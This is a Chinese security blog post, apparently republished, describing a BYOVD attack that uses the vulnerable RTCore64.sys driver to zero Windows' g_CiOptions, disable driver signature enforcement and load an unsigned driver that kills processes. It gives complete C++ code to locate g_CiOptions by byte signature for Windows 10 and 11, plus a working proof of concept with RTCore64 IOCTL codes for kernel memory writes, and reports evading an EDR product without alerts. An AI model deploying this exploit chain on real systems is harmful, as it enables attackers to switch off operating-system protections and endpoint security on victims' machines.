文章总结： 本文讲解利用RTCore64驱动实施BYOVD攻击绕过Windows驱动签名校验。核心步骤包括通过IDA逆向CI.dll定位未导出变量g_CiOptions的特征码，结合NtQuerySystemInformation获取内核地址。随后利用该驱动的任意读写漏洞修改g_CiOptions关闭DSE，从而加载未签名驱动。文中提供了完整的定位与利用代码，实战价值高。
综合评分： 88
文章分类： 二进制安全,红队,漏洞POC,逆向分析

Windows内核攻防—利用RTCore64驱动绕过Windows签名校验

原创

脸红ฅฅ的思春期
脸红ฅฅ的思春期

Heri76安全

2026年3月13日 16:59
广东

前言

好久没有发过文章了，难得今天有空，顺手发表记录一下最近的学习。

众所周知，Windows加载驱动会验证驱动是否有微软的签名，这也就是是所谓的DSE机制。每次我们开机的时候，Windows内核都会加载 CI.dll 中的一个全局变量 g_CiOptions 来判定是否开启DSE机制。那么整体攻击思路就很简单了，借助 BYOVD 进入到内核去修改 g_CiOptions 的值，关闭DSE，从而能够加载我们自己手写的驱动，这也是以前较为流行的攻击手法。

g_CiOptions定位

由于 g_CiOptions 这个全局变量是没有导出的，所以我们只能通过特征码去寻找它的位置。用IDA打开CI.dll，来到 name 页面直接搜 CiInitialize 在CI.dll中的位置。它是 CI.dll 中的一个导出函数，我们通过它来作为切入点。

然后双击进去，发现CiInitialize 函数主要是调用 CipInitialize 函数的。

继续跟进，发现在 CipInitialize 函数里面有一个赋值语句 g_CiOptions = a1 这个就是我们要找的地方。

我们点击 g_CiOptions 然后按下 tab 键切换到汇编查看，可以看到 g_CiOptions = a1 的汇编语句是

&nbsp;mov&nbsp; &nbsp; &nbsp;cs:g_CiOptions, ecx

机器码如下，机器码也就是我们要找的特征码，注意这里其实89 0D 才是真正的机器码，后面的四个只是偏移量，这个偏移量是机器不稳定的，有可能Windows的一个小更新，这个偏移量就变了，所以偏移量不能作为特征码。

89&nbsp;0D&nbsp;09&nbsp;C4 FF FF

所以现在我们 g_CiOptions 的特征码就是 89 0D，但是整个CI.dll 存在太多 89 0D的机器码了，如果只靠这两个，那么很容易找错了。所以此时我们结合 89 0D 的上调语句的机器，来进行结合寻找。

48&nbsp;8B EA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; rbp, rdx

所以最终的特征码是，要注意这个特征码只适合Windows11用。

0x48&nbsp;0x8B&nbsp;0xEA&nbsp;0x89&nbsp;0x0D

我又分析了一下Windows10的CI.dll，特征码如下。

0x49,&nbsp;0x8B,&nbsp;0xE9,&nbsp;0x89,&nbsp;0x0D

现在特征码找到了，要如何在内核中定位 g_CiOptions 的位置呢，方法也非常简单。我们通过NtQuerySystemInformation 去枚举内核的所有加载模块，找到 CI.dll 在内核中的地址，然后就从CI.dll的地址开始扫描，直到匹配到特征码就结束，此时找到的就是 g_CiOptions的地址了。

下面是NtQuerySystemInformation 的信息，同样这也是一个未导出的函数。

整体寻找位置代码如下，代码不算复杂，逻辑和上面说的一样。

#include&nbsp;<windows.h>#include&nbsp;<stdio.h>#include&nbsp;<winternl.h>
// 状态码#define&nbsp;STATUS_SUCCESS 0x00000000#define&nbsp;STATUS_INFO_LENGTH_MISMATCH 0xC0000004
// 查询类别：11代表系统模块信息constexpr&nbsp;SYSTEM_INFORMATION_CLASS SystemModuleInformation = (SYSTEM_INFORMATION_CLASS)11;
// --- 未文档化结构体定义 ---typedef&nbsp;struct&nbsp;_RTL_PROCESS_MODULE_INFORMATION&nbsp;{&nbsp; &nbsp; HANDLE Section;&nbsp; &nbsp; PVOID MappedBase;&nbsp; &nbsp; ULONG64 ImageBase; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 模块加载的基址&nbsp; &nbsp; ULONG ImageSize; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 模块在内存中的大小&nbsp; &nbsp; ULONG Flags;&nbsp; &nbsp; USHORT LoadOrderIndex;&nbsp; &nbsp; USHORT InitOrderIndex;&nbsp; &nbsp; USHORT LoadCount;&nbsp; &nbsp; USHORT OffsetToFileName;&nbsp;// 文件名在 FullPathName 中的起始偏移量&nbsp; &nbsp; CHAR FullPathName[256]; &nbsp;// 模块的绝对路径 (ANSI字符串)} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;
typedef&nbsp;struct&nbsp;_RTL_PROCESS_MODULES&nbsp;{&nbsp; &nbsp; ULONG NumberOfModules; &nbsp;&nbsp;// 系统当前加载的模块总数&nbsp; &nbsp; RTL_PROCESS_MODULE_INFORMATION Modules[1];&nbsp;// 模块数组首元素} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
// --- API指针类型定义 ---typedef&nbsp;NTSTATUS(WINAPI* PNtQuerySystemInformation)(&nbsp; &nbsp; SYSTEM_INFORMATION_CLASS SystemInformationClass,&nbsp; &nbsp; PVOID SystemInformation,&nbsp; &nbsp; ULONG SystemInformationLength,&nbsp; &nbsp; PULONG ReturnLength&nbsp; &nbsp; );
// 这是一个辅助函数，用于在内存中搜索特征码// pattern 中允许使用 '?' 作为通配符（忽略该字节的匹配）// signature: "\x48\x8B\x00\xE8\x00\x00\x00\x00"&nbsp;// mask: &nbsp; &nbsp; &nbsp;"xx?x????" (x代表精确匹配，?代表通配符)bool&nbsp;DataCompare(const&nbsp;BYTE* pData,&nbsp;const&nbsp;BYTE* bMask,&nbsp;const&nbsp;char* szMask)&nbsp;{&nbsp; &nbsp;&nbsp;for&nbsp;(; *szMask; ++szMask, ++pData, ++bMask) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(*szMask ==&nbsp;'x'&nbsp;&& *pData != *bMask) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;false;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;(*szMask) ==&nbsp;0;&nbsp;// 如果掩码走完都没出错，说明完全匹配}

ULONG64&nbsp;FindCiOptionAddress(ULONG64 ciBase){&nbsp; &nbsp; HMODULE hLocalCi =&nbsp;LoadLibraryExA("C:\\Windows\\System32\\ci.dll",&nbsp;NULL, DONT_RESOLVE_DLL_REFERENCES);&nbsp; &nbsp;&nbsp;if&nbsp;(!hLocalCi) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[-] Error: 无法加载本地 CI.dll, 错误码: %d\n",&nbsp;GetLastError());&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;-1;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;printf("[+] Local CI.dll loaded at user-mode address: 0x%p\n", hLocalCi);
&nbsp; &nbsp;&nbsp;// 3. 获取本地模块的各种头信息，以便知道要扫描多大&nbsp; &nbsp; PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hLocalCi;&nbsp; &nbsp; PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hLocalCi + pDosHeader->e_lfanew);&nbsp; &nbsp; DWORD imageSize = pNtHeaders->OptionalHeader.SizeOfImage;&nbsp; &nbsp;&nbsp;printf("[+] Image Size to scan: 0x%X bytes\n", imageSize);
&nbsp; &nbsp;&nbsp;// 4. 定义你的特征码&nbsp; &nbsp;&nbsp;//BYTE pattern[] = { 0x48, 0x8B, 0xEA, 0x89, 0x0D }; // 前 5 个固定字节&nbsp; &nbsp; BYTE pattern[] = {&nbsp;0x49,&nbsp;0x8B,&nbsp;0xE9,&nbsp;0x89,&nbsp;0x0D};&nbsp; &nbsp;&nbsp;const&nbsp;char* mask =&nbsp;"xxxxx";&nbsp;// 简化版，先看能不能搜到这5个字节
&nbsp; &nbsp;&nbsp;// 5. 开始在【用户态本地内存】中扫描&nbsp; &nbsp;&nbsp;printf("[*] 开始执行特征码扫描...\n");&nbsp; &nbsp;&nbsp;bool&nbsp;bFound =&nbsp;false;&nbsp; &nbsp; ULONGLONG &nbsp;finalKernelAddress;
&nbsp; &nbsp;&nbsp;for&nbsp;(DWORD i =&nbsp;0; i < imageSize -&nbsp;10; i++) {&nbsp; &nbsp; &nbsp; &nbsp; BYTE* currentAddress = (BYTE*)hLocalCi + i;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(DataCompare(currentAddress, pattern, mask)) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bFound =&nbsp;true;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[+] 找到匹配特征码！本地内存地址: 0x%p\n", currentAddress);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 6. 提取偏移量 (Offset)&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 89 0D 后面的 4 个字节就是偏移量&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; LONG offset = *(LONG*)(currentAddress +&nbsp;5);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[+] 提取出的指令偏移量 (Offset): 0x%X\n", offset);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 7. 计算相对虚拟地址 (RVA)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// nextInstruction RVA = (当前指令地址 - 模块基址) + 指令总长度(9)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG64 &nbsp;nextInstructionRVA = (ULONG64)((BYTE*)currentAddress - (BYTE*)hLocalCi) +&nbsp;9;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// g_CiOptions 的 RVA = nextInstruction RVA + offset&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG64 &nbsp;g_CiOptions_RVA = nextInstructionRVA + offset;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[+] 计算得出 g_CiOptions 的相对偏移 (RVA): 0x%X\n", g_CiOptions_RVA);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 8. 计算最终的内核绝对地址！&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; finalKernelAddress = (ULONGLONG)ciBase + (ULONGLONG)g_CiOptions_RVA;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[!] >>> 终极目标：内核 g_CiOptions 真实绝对地址: 0x%llX <<<\n", finalKernelAddress);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;&nbsp;// 找到了就退出循环&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;if&nbsp;(!bFound) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[-] 扫描结束。未找到特征码！可能是当前系统版本的 CI.dll 特征码改变了。\n");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;0;&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;FreeLibrary(hLocalCi);&nbsp; &nbsp;&nbsp;return&nbsp;finalKernelAddress;
}
int&nbsp;main()&nbsp;{&nbsp; &nbsp;&nbsp;// 1. 获取 ntdll.dll 句柄并导出函数&nbsp; &nbsp; HMODULE hNtDll =&nbsp;GetModuleHandleW(L"ntdll.dll");&nbsp; &nbsp;&nbsp;if&nbsp;(!hNtDll) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[-] Failed to load ntdll.dll\n");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1;&nbsp; &nbsp; }
&nbsp; &nbsp; PNtQuerySystemInformation NtQuerySystemInformation =&nbsp; &nbsp; &nbsp; &nbsp; (PNtQuerySystemInformation)GetProcAddress(hNtDll,&nbsp;"NtQuerySystemInformation");
&nbsp; &nbsp;&nbsp;if&nbsp;(!NtQuerySystemInformation) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[-] Failed to get NtQuerySystemInformation address\n");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1;&nbsp; &nbsp; }
&nbsp; &nbsp; ULONG bufferSize =&nbsp;0;&nbsp; &nbsp; PVOID buffer =&nbsp;nullptr;&nbsp; &nbsp; NTSTATUS status;
&nbsp; &nbsp; ULONG64 CIDLLadress;&nbsp; &nbsp; ULONG64 CiOption;
&nbsp; &nbsp;&nbsp;// 2. 探针调用，获取系统建议的缓冲区大小&nbsp; &nbsp;&nbsp;NtQuerySystemInformation(SystemModuleInformation, &bufferSize,&nbsp;0, &bufferSize);
&nbsp; &nbsp;&nbsp;// 3. 循环分配足够大的内存&nbsp; &nbsp;&nbsp;while&nbsp;(true) {&nbsp; &nbsp; &nbsp; &nbsp; buffer =&nbsp;malloc(bufferSize);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!buffer) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[-] Memory allocation failed!\n");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1;&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; status =&nbsp;NtQuerySystemInformation(SystemModuleInformation, buffer, bufferSize, &bufferSize);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(status == STATUS_INFO_LENGTH_MISMATCH) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;free(buffer);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 如果在这极短的时间内系统加载了新模块导致大小又不够了，增加点余量重试&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bufferSize +=&nbsp;8192;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;// 4. 解析并打印模块列表&nbsp; &nbsp;&nbsp;if&nbsp;(status == STATUS_SUCCESS) {&nbsp; &nbsp; &nbsp; &nbsp; PRTL_PROCESS_MODULES pModules = (PRTL_PROCESS_MODULES)buffer;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[+] Successfully retrieved system modules.\n");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[+] Total Modules Loaded: %lu\n\n", pModules->NumberOfModules);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 打印表头&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("%-18s %-10s %-25s %s\n",&nbsp;"Base Address",&nbsp;"Size",&nbsp;"Module Name",&nbsp;"Full Path");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("------------------------------------------------------------------------------------------\n");
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 遍历所有模块&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;(ULONG i =&nbsp;0; i < pModules->NumberOfModules; i++) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PRTL_PROCESS_MODULE_INFORMATION moduleInfo = &pModules->Modules[i];
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 提取纯文件名 (FullPathName + 偏移)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;char* fileName = (char*)moduleInfo->FullPathName + moduleInfo->OffsetToFileName;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 格式化输出: 基址、大小(十六进制)、文件名、完整路径
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(_stricmp(fileName,&nbsp;"CI.dll") ==&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("0x%-16p 0x%-8X %-25s %s\n",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; moduleInfo->ImageBase,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; moduleInfo->ImageSize,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fileName,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; moduleInfo->FullPathName);                CIDLLadress =&nbsp;ULONG64(moduleInfo->ImageBase);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; CiOption =&nbsp;FindCiOptionAddress(CIDLLadress);&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[-] NtQuerySystemInformation failed with NTSTATUS: 0x%08X\n", status);&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;// 5. 释放内存退出&nbsp; &nbsp;&nbsp;free(buffer);&nbsp; &nbsp;&nbsp;return&nbsp;0;}

运行代码找到g_CiOptions 的内核地址是 0xFFFFF807063C7278

可以用 windbg 去验证一下是否正确，windbg 中找到的 g_CiOptions 地址也是 fffff807063c7278，说明我们上面的查找逻辑是对的。

g_CiOptions 修改

既然找到位置了，现在我们来修改g_CiOptions的值。由于 g_CiOptions 在内核里面，我们必须借助 BYOVD 才能进入内核进行修改。RTCore64.sys 就存在可读可写的漏洞，更重要的是这个驱动没有被微软拉黑，甚至一些EDR也可以加载这个驱动！

那么现在思路就简单了，加载RTCore64.sys 去修改 g_CiOptions 的值为00000000，然后再加载自己写的无签名的驱动，最后再把 g_CiOptions 的值改回去，防止 PatchGuard 扫描。但是我在测试的时候并没有把g_CiOptions 修改回去，也没有导致蓝屏。

RTCore64.sys 的POC网上找就行，也可以自己写，这里我偷懒就拿了网上的，然后自己修改了一下。

非常简单的一个POC，就是加载 RTCore64.sys 驱动去修改指定内核地址的值。

#include&nbsp;<Windows.h>#include&nbsp;<Psapi.h>#include&nbsp;<cstdio>

void&nbsp;Con(const&nbsp;char* Message, ...)&nbsp;{&nbsp; &nbsp;&nbsp;const&nbsp;auto&nbsp;file = stderr;
&nbsp; &nbsp; va_list Args;&nbsp; &nbsp;&nbsp;va_start(Args, Message);&nbsp; &nbsp; std::vfprintf(file, Message, Args);&nbsp; &nbsp; std::fputc('\n', file);&nbsp; &nbsp;&nbsp;va_end(Args);}struct&nbsp;RTCORE64_MSR_READ&nbsp;{&nbsp; &nbsp; DWORD Register;&nbsp; &nbsp; DWORD ValueHigh;&nbsp; &nbsp; DWORD ValueLow;};static_assert(sizeof(RTCORE64_MSR_READ) ==&nbsp;12,&nbsp;"sizeof RTCORE64_MSR_READ must be 12 bytes");
struct&nbsp;RTCORE64_MEMORY_READ&nbsp;{&nbsp; &nbsp; BYTE Pad0[8];&nbsp; &nbsp; DWORD64 Address;&nbsp; &nbsp; BYTE Pad1[8];&nbsp; &nbsp; DWORD ReadSize;&nbsp; &nbsp; DWORD Value;&nbsp; &nbsp; BYTE Pad3[16];};static_assert(sizeof(RTCORE64_MEMORY_READ) ==&nbsp;48,&nbsp;"sizeof RTCORE64_MEMORY_READ must be 48 bytes");
struct&nbsp;RTCORE64_MEMORY_WRITE&nbsp;{&nbsp; &nbsp; BYTE Pad0[8];&nbsp; &nbsp; DWORD64 Address;&nbsp; &nbsp; BYTE Pad1[8];&nbsp; &nbsp; DWORD ReadSize;&nbsp; &nbsp; DWORD Value;&nbsp; &nbsp; BYTE Pad3[16];};static_assert(sizeof(RTCORE64_MEMORY_WRITE) ==&nbsp;48,&nbsp;"sizeof RTCORE64_MEMORY_WRITE must be 48 bytes");
static&nbsp;const&nbsp;DWORD RTCORE64_MSR_READ_CODE =&nbsp;0x80002030;static&nbsp;const&nbsp;DWORD RTCORE64_MEMORY_READ_CODE =&nbsp;0x80002048;static&nbsp;const&nbsp;DWORD RTCORE64_MEMORY_WRITE_CODE =&nbsp;0x8000204c;
DWORD&nbsp;ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address)&nbsp;{&nbsp; &nbsp; RTCORE64_MEMORY_READ MemoryRead{};&nbsp; &nbsp; MemoryRead.Address = Address;&nbsp; &nbsp; MemoryRead.ReadSize = Size;
&nbsp; &nbsp; DWORD BytesReturned;
&nbsp; &nbsp;&nbsp;DeviceIoControl(Device,&nbsp; &nbsp; &nbsp; &nbsp; RTCORE64_MEMORY_READ_CODE,&nbsp; &nbsp; &nbsp; &nbsp; &MemoryRead,&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;sizeof(MemoryRead),&nbsp; &nbsp; &nbsp; &nbsp; &MemoryRead,&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;sizeof(MemoryRead),&nbsp; &nbsp; &nbsp; &nbsp; &BytesReturned,&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;nullptr);
&nbsp; &nbsp;&nbsp;return&nbsp;MemoryRead.Value;}
void&nbsp;WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value)&nbsp;{&nbsp; &nbsp; RTCORE64_MEMORY_READ MemoryRead{};&nbsp; &nbsp; MemoryRead.Address = Address;&nbsp; &nbsp; MemoryRead.ReadSize = Size;&nbsp; &nbsp; MemoryRead.Value = Value;
&nbsp; &nbsp; DWORD BytesReturned;
&nbsp; &nbsp;&nbsp;DeviceIoControl(Device,&nbsp; &nbsp; &nbsp; &nbsp; RTCORE64_MEMORY_WRITE_CODE,&nbsp; &nbsp; &nbsp; &nbsp; &MemoryRead,&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;sizeof(MemoryRead),&nbsp; &nbsp; &nbsp; &nbsp; &MemoryRead,&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;sizeof(MemoryRead),&nbsp; &nbsp; &nbsp; &nbsp; &BytesReturned,&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;nullptr);}
WORD&nbsp;ReadMemoryWORD(HANDLE Device, DWORD64 Address)&nbsp;{&nbsp; &nbsp;&nbsp;return&nbsp;ReadMemoryPrimitive(Device,&nbsp;2, Address) &&nbsp;0xffff;}
DWORD&nbsp;ReadMemoryDWORD(HANDLE Device, DWORD64 Address)&nbsp;{&nbsp; &nbsp;&nbsp;return&nbsp;ReadMemoryPrimitive(Device,&nbsp;4, Address);}
DWORD64&nbsp;ReadMemoryDWORD64(HANDLE Device, DWORD64 Address)&nbsp;{&nbsp; &nbsp;&nbsp;return&nbsp;(static_cast<DWORD64>(ReadMemoryDWORD(Device, Address +&nbsp;4)) <<&nbsp;32) |&nbsp;ReadMemoryDWORD(Device, Address);}
void&nbsp;WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value)&nbsp;{&nbsp; &nbsp;&nbsp;WriteMemoryPrimitive(Device,&nbsp;4, Address, Value &&nbsp;0xffffffff);&nbsp; &nbsp;&nbsp;WriteMemoryPrimitive(Device,&nbsp;4, Address +&nbsp;4, Value >>&nbsp;32);}
unsigned&nbsp;long&nbsp;long&nbsp;getKBAddr()&nbsp;{&nbsp; &nbsp; DWORD out =&nbsp;0;&nbsp; &nbsp; DWORD nb =&nbsp;0;&nbsp; &nbsp; PVOID* base =&nbsp;NULL;&nbsp; &nbsp;&nbsp;if&nbsp;(EnumDeviceDrivers(NULL,&nbsp;0, &nb)) {&nbsp; &nbsp; &nbsp; &nbsp; base = (PVOID*)malloc(nb);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(EnumDeviceDrivers(base, nb, &out)) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;(unsigned&nbsp;long&nbsp;long)base[0];&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;NULL;}
struct&nbsp;Offsets&nbsp;{&nbsp; &nbsp; DWORD64 UPIdOffset;&nbsp; &nbsp; DWORD64 APLinksOffset;&nbsp; &nbsp; DWORD64 TOffset;};
void&nbsp;MSYS()&nbsp;{&nbsp; &nbsp;&nbsp;const&nbsp;auto&nbsp;Device =&nbsp;CreateFileW(LR"(\\.\RTCore64)", GENERIC_READ | GENERIC_WRITE,&nbsp;0,&nbsp;nullptr, OPEN_EXISTING,&nbsp;0,&nbsp;nullptr);&nbsp; &nbsp;&nbsp;if&nbsp;(Device == INVALID_HANDLE_VALUE) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Con("[!] Unable to obtain a handle to the device object");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return;&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;WriteMemoryDWORD64(Device,&nbsp;0xFFFFF8034AFC7278,&nbsp;00000000);
&nbsp; &nbsp;&nbsp;CloseHandle(Device);}

int&nbsp;main(){&nbsp; &nbsp;&nbsp;MSYS();&nbsp; &nbsp;&nbsp;return&nbsp;0;}

效果验证

上面的理论说完了，现在我们看一下效果，这里我也自己编写了一个结束进程的驱动。所以整体流程就是加载 RTCore64.sys 去修改 g_CiOptions的值，达到关闭DSE的目的。然后加载自己的驱动进入内核，在内核层面去结束指定进程。

这里可以看到天擎并没有把 RTCore64.sys 拉黑，包括我们自己写的驱动已经POC。

注册驱动服务。

可以看到我们能运行 test1服务，却无法运行 test2服务，这是因为 test2服务指向的驱动是我们自己写的，没有微软签名。

运行POC去修改g_CiOptions的值后，test2服务可以运行，也就是说加载了没有签名的驱动。

此时借助我们的驱动从内核结束指定进程，结束进程之前。

结束进程之后。

到服务端看一下，发现并没有什么告警。

当然天擎肯定不会这么拉跨，猜测是没有配置相关策略导致的。

总结

整体利用逻辑不算复杂，找到 g_CiOptions 特征码 —> 定位 g_CiOptions位置 —> 利用BYOVD去修改值 —> 加载无签名驱动。

最后，以上仅为个人的拙见，如何有不对的地方，欢迎各位师傅指正与补充，有兴趣的师傅可以一起交流学习。

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：Heri76安全脸红ฅฅ的思春期
脸红ฅฅ的思春期《Windows内核攻防—利用RTCore64驱动绕过Windows签名校验》

Tags: 二进制安全漏洞POC 红队逆向分析

你可能错过

10月17日专题会议：数据安全防护与治理前沿学术会议

【漏洞通告】Cisco ISE远程代码执行漏洞（CVE-2026-20211)

2026年人工智能大模型安全众测结果发布

【漏洞通告】Cisco ISE远程代码执行漏洞（CVE-2026-20211)